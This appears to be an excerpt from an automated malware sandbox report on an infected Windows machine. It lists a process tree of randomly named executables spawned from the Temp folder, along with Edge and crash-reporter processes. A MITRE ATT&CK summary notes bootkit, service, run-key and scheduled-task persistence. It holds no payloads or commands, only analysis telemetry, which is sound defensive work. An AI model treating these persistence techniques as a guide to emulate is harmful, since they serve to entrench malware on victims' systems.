C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8044
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s seclogon1⤵PID:7308
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:3136
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:3936
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\8fb409fd64cd4e3e86fd908eaaf46e4f /t 7844 /p 39361⤵PID:7996
-
C:\Users\Admin\AppData\Local\Temp\8A41.tmp.exeC:\Users\Admin\AppData\Local\Temp\8A41.tmp.exe1⤵PID:8000
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:5256
-
C:\Users\Admin\AppData\Local\Temp\9C43.tmp.exeC:\Users\Admin\AppData\Local\Temp\9C43.tmp.exe1⤵PID:7820
-
C:\Users\Admin\AppData\Local\Temp\A1E2.tmp.exeC:\Users\Admin\AppData\Local\Temp\A1E2.tmp.exe1⤵PID:6356
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:2264
-
C:\Users\Admin\AppData\Local\Temp\B52C.tmp.exeC:\Users\Admin\AppData\Local\Temp\B52C.tmp.exe1⤵PID:5100
-
C:\Users\Admin\AppData\Local\Temp\C1EF.tmp.exeC:\Users\Admin\AppData\Local\Temp\C1EF.tmp.exe1⤵PID:7008
-
C:\Users\Admin\AppData\Local\Temp\C981.tmp.exeC:\Users\Admin\AppData\Local\Temp\C981.tmp.exe1⤵PID:4660
-
C:\Users\Admin\AppData\Local\Temp\DCAC.tmp.exeC:\Users\Admin\AppData\Local\Temp\DCAC.tmp.exe1⤵PID:5188
-
C:\Users\Admin\AppData\Local\Temp\1461074104.exe"C:\Users\Admin\AppData\Local\Temp\1461074104.exe"2⤵PID:6948
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6948 -s 2683⤵
- Program crash
PID:4452
-
-
-
C:\Users\Admin\AppData\Local\Temp\1074905031.exe"C:\Users\Admin\AppData\Local\Temp\1074905031.exe"2⤵PID:7288
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:5896
-
C:\Users\Admin\AppData\Local\Temp\E539.tmp.exeC:\Users\Admin\AppData\Local\Temp\E539.tmp.exe1⤵PID:6852
-
C:\Users\Admin\AppData\Local\Temp\ED1A.tmp.exeC:\Users\Admin\AppData\Local\Temp\ED1A.tmp.exe1⤵PID:8180
-
C:\Users\Admin\AppData\Local\Temp\19D.tmp.exeC:\Users\Admin\AppData\Local\Temp\19D.tmp.exe1⤵PID:1400
-
C:\Users\Admin\AppData\Local\Temp\F1B.tmp.exeC:\Users\Admin\AppData\Local\Temp\F1B.tmp.exe1⤵PID:6096
Network
MITRE ATT&CK Enterprise v6
Persistence
Bootkit
1Modify Existing Service
1Registry Run Keys / Startup Folder
1Scheduled Task
1